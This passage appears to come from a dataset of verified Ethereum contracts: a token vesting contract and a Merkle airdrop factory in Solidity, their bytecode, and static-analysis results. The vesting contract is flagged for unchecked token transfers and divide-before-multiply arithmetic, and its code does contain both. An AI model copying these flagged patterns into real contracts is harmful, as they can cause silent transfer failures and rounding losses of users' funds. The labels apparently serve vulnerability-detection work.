000000000000000000000000000000000000000000000008152600401610a899061153c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af99061145c565b60405180910390fd5b610b0d838383610e75565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906114bc565b60405180910390fd5b8181610b9f9190611644565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2f91906115ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c93919061159c565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d089061151c565b60405180910390fd5b610d1d82600083610e75565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a9061147c565b60405180910390fd5b8181610daf9190611644565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610e039190611644565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e68919061159c565b60405180910390a3505050565b505050565b600081359050610e89816117a1565b92915050565b600081359050610e9e816117b8565b92915050565b600060208284031215610eb657600080fd5b6000610ec484828501610e7a565b91505092915050565b60008060408385031215610ee057600080fd5b6000610eee85828601610e7a565b9250506020610eff85828601610e7a565b9150509250929050565b600080600060608486031215610f1e57600080fd5b6000610f2c86828701610e7a565b9350506020610f3d86828701610e7a565b9250506040610f4e86828701610e8f565b9150509250925092565b60008060408385031215610f6b57600080fd5b6000610f7985828601610e7a565b9250506020610f8a85828601610e8f565b9150509250929050565b600060208284031215610fa657600080fd5b6000610fb484828501610e8f565b91505092915050565b610fc68161168a565b82525050565b6000610fd7826115d2565b610fe181856115dd565b9350610ff18185602086016116cd565b610ffa81611790565b840191505092915050565b60006110126023836115dd565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110786022836115dd565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110de6022836115dd565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111446026836115dd565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111aa6028836115dd565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112106024836115dd565b91507f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008301527f616e6365000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112766021836115dd565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112dc6025836115dd565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113426024836115dd565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113a86025836115dd565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61140a816116b6565b82525050565b611419816116c0565b82525050565b60006020820190506114346000830184610fbd565b92915050565b600060208201905081810360008301526114548184610fcc565b905092915050565b6000602082019050818103600083015261147581611005565b9050919050565b600060208201905081810360008301526114958161106b565b9050919050565b600060208201905081810360008301526114b5816110d1565b9050919050565b600060208201905081810360008301526114d581611137565b9050919050565b600060208201905081810360008301526114f58161119d565b9050919050565b6000602082019050818103600083015261151581611203565b9050919050565b6000602082019050818103600083015261153581611269565b9050919050565b60006020820190508181036000830152611555816112cf565b9050919050565b6000602082019050818103600083015261157581611335565b9050919050565b600060208201905081810360008301526115958161139b565b9050919050565b60006020820190506115b16000830184611401565b92915050565b60006020820190506115cc6000830184611410565b92915050565b600081519050919050565b600082825260208201905092915050565b60006115f9826116b6565b9150611604836116b6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561163957611638611732565b5b828201905092915050565b600061164f826116b6565b915061165a836116b6565b92508282101561166d5761166c611732565b5b828203905092915050565b600061168382611696565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116eb5780820151818401526020810190506116d0565b838111156116fa576000848401525b50505050565b6000600282049050600182168061171857607f821691505b6020821081141561172c5761172b611761565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6117aa81611678565b81146117b557600080fd5b50565b6117c1816116b6565b81146117cc57600080fd5b5056fea26469706673582212202456b929898280576f25eeddf5952c442042ddde6075562c397fefea7c43c66564736f6c63430008000033
{"success": true, "error": null, "results": {}}
3,813
0xac87531256a785d2d44b590b0ad77a80ff3b4164
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract PKNVesting is Ownable { uint256 private constant ONE_MONTH = 30 days; uint256 public immutable START_TIME; uint256 public immutable DURATION_MONTHS; uint256 public totalAllocations; IERC20 public PKN; struct Allocation { uint256 amount; uint256 amountClaimed; uint256 monthsClaimed; } mapping (address => Allocation) public PKNAllocations; constructor(address _PKN, uint256 _startTime, uint256 _numOfMonths) { PKN = IERC20(_PKN); START_TIME = _startTime; DURATION_MONTHS = _numOfMonths; } function getVestedAmount(address _recipient) public view returns(uint256 monthsVested, uint256 amountVested) { Allocation storage PKNAllocation = PKNAllocations[_recipient]; require(PKNAllocation.amountClaimed < PKNAllocation.amount, "Allocation fully claimed"); if (_currentTime() < START_TIME) { return (0, 0); } uint256 elapsedMonths = 1 + (_currentTime() - START_TIME) / ONE_MONTH; if(elapsedMonths >= DURATION_MONTHS) { uint256 remainingAllocation = PKNAllocation.amount - PKNAllocation.amountClaimed; return (DURATION_MONTHS, remainingAllocation); } monthsVested = elapsedMonths - PKNAllocation.monthsClaimed; amountVested = monthsVested * (PKNAllocation.amount / DURATION_MONTHS); } function getAllocationDetails(address _recipient) external view returns(Allocation memory) { return PKNAllocations[_recipient]; } function addAllocation(address[] calldata _recipients, uint256[] calldata _amounts) external onlyOwner { require(_recipients.length == _amounts.length, "Invalid input lengths"); uint256 totalAmount = 0; for (uint256 i = 0; i < _recipients.length; i++) { totalAmount += _amounts[i]; _addAllocation(_recipients[i], _amounts[i]); } totalAllocations += _recipients.length; require(_receivePKN(msg.sender, totalAmount) == totalAmount, "Recieved less PKN than transferred"); } function releaseVestedTokens() external { _releaseVestedTokens(msg.sender); } function batchReleaseVestedTokens(address[] calldata _recipients) external { for (uint256 i = 0; i < _recipients.length; i++) { _releaseVestedTokens(_recipients[i]); } } // DOES NOT transfer PKN to the contract. Needs to be handled by the caller. function _addAllocation(address _recipient, uint256 _amount) internal { require(PKNAllocations[_recipient].amount == 0, "Allocation already exists"); require(_amount >= DURATION_MONTHS, "Amount too low"); Allocation memory allocation = Allocation({ amount: _amount, amountClaimed: 0, monthsClaimed: 0 }); PKNAllocations[_recipient] = allocation; } function _releaseVestedTokens(address _recipient) internal { (uint256 monthsVested, uint256 amountVested) = getVestedAmount(_recipient); require(amountVested > 0, "Vested amount is 0"); Allocation storage PKNAllocation = PKNAllocations[_recipient]; PKNAllocation.monthsClaimed = PKNAllocation.monthsClaimed + monthsVested; PKNAllocation.amountClaimed = PKNAllocation.amountClaimed + amountVested; PKN.transfer(_recipient, amountVested); } function _receivePKN(address from, uint256 amount) internal returns(uint256) { uint256 balanceBefore = PKN.balanceOf(address(this)); PKN.transferFrom(from, address(this), amount); uint256 balanceAfter = PKN.balanceOf(address(this)); return balanceAfter - balanceBefore; } function _currentTime() internal view returns(uint256) { return block.timestamp; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063b46a389b1161008c578063ddaa26ad11610066578063ddaa26ad146101ea578063df4e325a14610211578063e0cdde3a14610224578063f2fde38b1461025957600080fd5b8063b46a389b14610188578063c63fe2f6146101af578063d5a73fdd146101c257600080fd5b806354dd1da4146100d457806363b51ac0146100de578063688c3e40146100fa578063715018a6146101255780638da5cb5b1461012d57806391c10a3e1461013e575b600080fd5b6100dc61026c565b005b6100e760015481565b6040519081526020015b60405180910390f35b60025461010d906001600160a01b031681565b6040516001600160a01b0390911681526020016100f1565b6100dc610277565b6000546001600160a01b031661010d565b61016d61014c366004610b92565b60036020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016100f1565b6100e77f000000000000000000000000000000000000000000000000000000000000000a81565b6100dc6101bd366004610c04565b6102b4565b6101d56101d0366004610b92565b610437565b604080519283526020830191909152016100f1565b6100e77f000000000000000000000000000000000000000000000000000000006171412881565b6100dc61021f366004610bc2565b6105da565b610237610232366004610b92565b61062b565b60408051825181526020808401519082015291810151908201526060016100f1565b6100dc610267366004610b92565b610691565b6102753361072c565b565b6000546001600160a01b031633146102aa5760405162461bcd60e51b81526004016102a190610cab565b60405180910390fd5b6102756000610849565b6000546001600160a01b031633146102de5760405162461bcd60e51b81526004016102a190610cab565b8281146103255760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420696e707574206c656e6774687360581b60448201526064016102a1565b6000805b848110156103b15783838281811061034357610343610d81565b90506020020135826103559190610ce0565b915061039f86868381811061036c5761036c610d81565b90506020020160208101906103819190610b92565b85858481811061039357610393610d81565b90506020020135610899565b806103a981610d50565b915050610329565b5084849050600160008282546103c79190610ce0565b909155508190506103d833826109a6565b146104305760405162461bcd60e51b815260206004820152602260248201527f5265636965766564206c65737320504b4e207468616e207472616e7366657272604482015261195960f21b60648201526084016102a1565b5050505050565b6001600160a01b038116600090815260036020526040812080546001820154839291116104a65760405162461bcd60e51b815260206004820152601860248201527f416c6c6f636174696f6e2066756c6c7920636c61696d6564000000000000000060448201526064016102a1565b7f00000000000000000000000000000000000000000000000000000000617141284210156104da5750600093849350915050565b600062278d0061050a7f000000000000000000000000000000000000000000000000000000006171412842610d39565b6105149190610cf8565b61051f906001610ce0565b90507f000000000000000000000000000000000000000000000000000000000000000a8110610588576001820154825460009161055b91610d39565b7f000000000000000000000000000000000000000000000000000000000000000a97909650945050505050565b60028201546105979082610d39565b82549094506105c7907f000000000000000000000000000000000000000000000000000000000000000a90610cf8565b6105d19085610d1a565b92505050915091565b60005b81811015610626576106148383838181106105fa576105fa610d81565b905060200201602081019061060f9190610b92565b61072c565b8061061e81610d50565b9150506105dd565b505050565b61064f60405180606001604052806000815260200160008152602001600081525090565b506001600160a01b0316600090815260036020908152604091829020825160608101845281548152600182015492810192909252600201549181019190915290565b6000546001600160a01b031633146106bb5760405162461bcd60e51b81526004016102a190610cab565b6001600160a01b0381166107205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102a1565b61072981610849565b50565b60008061073883610437565b91509150600081116107815760405162461bcd60e51b8152602060048201526012602482015271056657374656420616d6f756e7420697320360741b60448201526064016102a1565b6001600160a01b038316600090815260036020526040902060028101546107a9908490610ce0565b600282015560018101546107be908390610ce0565b600182015560025460405163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529091169063a9059cbb90604401602060405180830381600087803b15801561081157600080fd5b505af1158015610825573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104309190610c70565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216600090815260036020526040902054156108ff5760405162461bcd60e51b815260206004820152601960248201527f416c6c6f636174696f6e20616c7265616479206578697374730000000000000060448201526064016102a1565b7f000000000000000000000000000000000000000000000000000000000000000a8110156109605760405162461bcd60e51b815260206004820152600e60248201526d416d6f756e7420746f6f206c6f7760901b60448201526064016102a1565b60408051606081018252918252600060208084018281528484018381526001600160a01b0390961683526003909152919020915182555160018201559051600290910155565b6002546040516370a0823160e01b815230600482015260009182916001600160a01b03909116906370a082319060240160206040518083038186803b1580156109ee57600080fd5b505afa158015610a02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a269190610c92565b6002546040516323b872dd60e01b81526001600160a01b038781166004830152306024830152604482018790529293509116906323b872dd90606401602060405180830381600087803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab49190610c70565b506002546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a082319060240160206040518083038186803b158015610af957600080fd5b505afa158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190610c92565b9050610b3d8282610d39565b95945050505050565b60008083601f840112610b5857600080fd5b50813567ffffffffffffffff811115610b7057600080fd5b6020830191508360208260051b8501011115610b8b57600080fd5b9250929050565b600060208284031215610ba457600080fd5b81356001600160a01b0381168114610bbb57600080fd5b9392505050565b60008060208385031215610bd557600080fd5b823567ffffffffffffffff811115610bec57600080fd5b610bf885828601610b46565b90969095509350505050565b60008060008060408587031215610c1a57600080fd5b843567ffffffffffffffff80821115610c3257600080fd5b610c3e88838901610b46565b90965094506020870135915080821115610c5757600080fd5b50610c6487828801610b46565b95989497509550505050565b600060208284031215610c8257600080fd5b81518015158114610bbb57600080fd5b600060208284031215610ca457600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610cf357610cf3610d6b565b500190565b600082610d1557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610d3457610d34610d6b565b500290565b600082821015610d4b57610d4b610d6b565b500390565b6000600019821415610d6457610d64610d6b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea264697066735822122002869965c81d46eba4691d31e7012ed0484e43b06bd0009dd27e42f1c1cac31164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
3,814
0x4f96cccfd25b4b7a89062d52c3099e1a97793a99
/** *Submitted for verification at Etherscan.io on 2021-03-27 */ // SPDX-License-Identifier: MIT AND GPL-v3-or-later pragma solidity 0.8.1; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create2(0, clone, 0x37, salt) } } function computeCloneAddress(address target, bytes32 salt) internal view returns (address) { bytes20 targetBytes = bytes20(target); bytes32 bytecodeHash; assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) bytecodeHash := keccak256(clone, 0x37) } bytes32 _data = keccak256( abi.encodePacked(bytes1(0xff), address(this), salt, bytecodeHash) ); return address(bytes20(_data << 96)); } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IERC721 { function safeTransferFrom(address from, address to, uint256 tokenId) external; function ownerOf(uint256 tokenId) external view returns (address owner); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IAstrodrop { // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external; // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, address account, uint256 amount); } contract Astrodrop is IAstrodrop, Ownable { using SafeERC20 for IERC20; address public override token; bytes32 public override merkleRoot; bool public initialized; uint256 public expireTimestamp; // This is a packed array of booleans. mapping(uint256 => uint256) public claimedBitMap; function init(address owner_, address token_, bytes32 merkleRoot_, uint256 expireTimestamp_) external { require(!initialized, "Astrodrop: Initialized"); initialized = true; token = token_; merkleRoot = merkleRoot_; expireTimestamp = expireTimestamp_; _transferOwnership(owner_); } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override { require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'Astrodrop: Invalid proof'); // Mark it claimed and send the token. _setClaimed(index); IERC20(token).safeTransfer(account, amount); emit Claimed(index, account, amount); } function sweep(address token_, address target) external onlyOwner { require(block.timestamp >= expireTimestamp || token_ != token, "Astrodrop: Not expired"); IERC20 tokenContract = IERC20(token_); uint256 balance = tokenContract.balanceOf(address(this)); tokenContract.safeTransfer(target, balance); } } contract AstrodropERC721 is IAstrodrop, Ownable { using SafeERC20 for IERC20; address public override token; bytes32 public override merkleRoot; bool public initialized; uint256 public expireTimestamp; // This is a packed array of booleans. mapping(uint256 => uint256) public claimedBitMap; function init(address owner_, address token_, bytes32 merkleRoot_, uint256 expireTimestamp_) external { require(!initialized, "Astrodrop: Initialized"); initialized = true; token = token_; merkleRoot = merkleRoot_; expireTimestamp = expireTimestamp_; _transferOwnership(owner_); } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override { require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'Astrodrop: Invalid proof'); // Mark it claimed and send the token. _setClaimed(index); IERC721 tokenContract = IERC721(token); tokenContract.safeTransferFrom(tokenContract.ownerOf(amount), account, amount); emit Claimed(index, account, amount); } function sweep(address token_, address target) external onlyOwner { require(block.timestamp >= expireTimestamp || token_ != token, "Astrodrop: Not expired"); IERC20 tokenContract = IERC20(token_); uint256 balance = tokenContract.balanceOf(address(this)); tokenContract.safeTransfer(target, balance); } } contract AstrodropFactory is CloneFactory { event CreateAstrodrop(address astrodrop, bytes32 ipfsHash); function createAstrodrop( address template, address token, bytes32 merkleRoot, uint256 expireTimestamp, bytes32 salt, bytes32 ipfsHash ) external returns (Astrodrop drop) { drop = Astrodrop(createClone(template, salt)); drop.init(msg.sender, token, merkleRoot, expireTimestamp); emit CreateAstrodrop(address(drop), ipfsHash); } function computeAstrodropAddress( address template, bytes32 salt ) external view returns (address) { return computeCloneAddress(template, salt); } function isAstrodrop(address template, address query) external view returns (bool) { return isClone(template, query); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638da5cb5b1161008c578063b8dc491b11610066578063b8dc491b1461016f578063ee25560b14610182578063f2fde38b14610195578063fc0c546a146101a8576100cf565b80638da5cb5b1461013f5780638f32d59b146101545780639e34070f1461015c576100cf565b8063158ef93e146100d45780632cde56c3146100f25780632e7ba6ef146101075780632eb4a7ab1461011a578063338b84c11461012f578063715018a614610137575b600080fd5b6100dc6101b0565b6040516100e99190610b5a565b60405180910390f35b610105610100366004610972565b6101b9565b005b610105610115366004610a07565b610228565b610122610403565b6040516100e99190610b65565b610122610409565b61010561040f565b61014761047d565b6040516100e99190610b09565b6100dc61048c565b6100dc61016a3660046109d7565b6104b0565b61010561017d36600461093a565b6104f1565b6101226101903660046109d7565b6105e7565b6101056101a33660046108fb565b6105f9565b610147610629565b60035460ff1681565b60035460ff16156101e55760405162461bcd60e51b81526004016101dc90610ccd565b60405180910390fd5b60038054600160ff19909116811790915580546001600160a01b0319166001600160a01b0385161790556002829055600481905561022284610638565b50505050565b610231856104b0565b1561024e5760405162461bcd60e51b81526004016101dc90610beb565b600085858560405160200161026593929190610ae1565b6040516020818303038152906040528051906020012090506102be8383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152505060025491508490506106b9565b6102da5760405162461bcd60e51b81526004016101dc90610b6e565b6102e386610774565b6001546040516331a9108f60e11b81526001600160a01b039091169081906342842e0e908290636352211e9061031d908a90600401610b65565b60206040518083038186803b15801561033557600080fd5b505afa158015610349573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036d919061091e565b88886040518463ffffffff1660e01b815260040161038d93929190610b1d565b600060405180830381600087803b1580156103